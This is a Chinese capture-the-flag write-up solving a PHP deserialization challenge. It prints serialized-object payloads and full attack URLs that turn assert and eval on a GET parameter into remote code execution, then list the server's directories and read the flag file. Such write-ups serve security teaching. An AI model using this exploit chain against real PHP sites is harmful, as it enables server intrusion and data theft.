此题有两个flag,网上大部分都只找到了一个flag,其实那是错的!
正常的一个报时网页
打开网站尝试路径扫描无果。尝试查看网页源码,发现可疑链接。
点击后,URL中去掉view-source:
页面展示源码如下。
分析源代码可知
(1)存在魔法函数__destruct()
(2)调用危险代码动态执行$b($a)
(3)$a $b参数可控
综上选定PHP反序列化攻击
class HelloPhp
{
public $a="ls /";
public $b="system";
}
$t = new HelloPhp();
$s = serialize($t);
echo $s."
";
echo urlencode($s);
?>
// 输出结果
// O:8:"HelloPhp":2:{s:1:"a";s:4:"ls /";s:1:"b";s:6:"system";}
// O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D
攻击payload为
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D
class HelloPhp
{
public $a="phpinfo()";
public $b="assert";
}
$t = new HelloPhp();
$s = serialize($t);
echo $s."
";
echo urlencode($s);
?>
// 输出结果
// O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
// O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
攻击payload
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
成功,查看被禁用函数disable_functions
PHP中的system函数被禁用
搜索flag找到第一个flag
assert(eval($_GET[1234]))
class HelloPhp
{
public $a="eval(\$_GET[1234])";
public $b="assert";
}
$t = new HelloPhp();
$s = serialize($t);
echo $s."
";
echo urlencode($s);
?>
攻击payload
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=phpinfo();
var_dump(scandir("/"))
代替 system("ls /")
找到第二个flaghttp://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=var_dump(scandir("/"));
echo file_get_contents("/FIag_!S_it")
代替system(cat /FIag_!S_it)
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=echo file_get_contents("/FIag_!S_it");
找到第二个flag
NPUCTF{this_is_not_a_fake_flag_but_true_flag}
整个题目坐下来,感觉还是比较经典的php反序列化题目,整体思路如下:
1、寻找出题点,涉及前期的各种常规扫描、分析寻找、信息收集等
2、分析源代码,寻找危险的魔法函数
3、构造攻击链
4、tip:此题增加了对各种函数的过滤,因为是赛题,增加了这个点,用来提高难度。
5、同时设计了两个flag,导致大家仅仅会遇到一个非常尴尬的情况,一面是看到了phpinfo页面,并找到flag。另一面是大量命令无效。素质不好的玩家在这一步就没有做下去的动力了。其实提示很明显,就是最后一步让你命令绕过,找到真正的flag。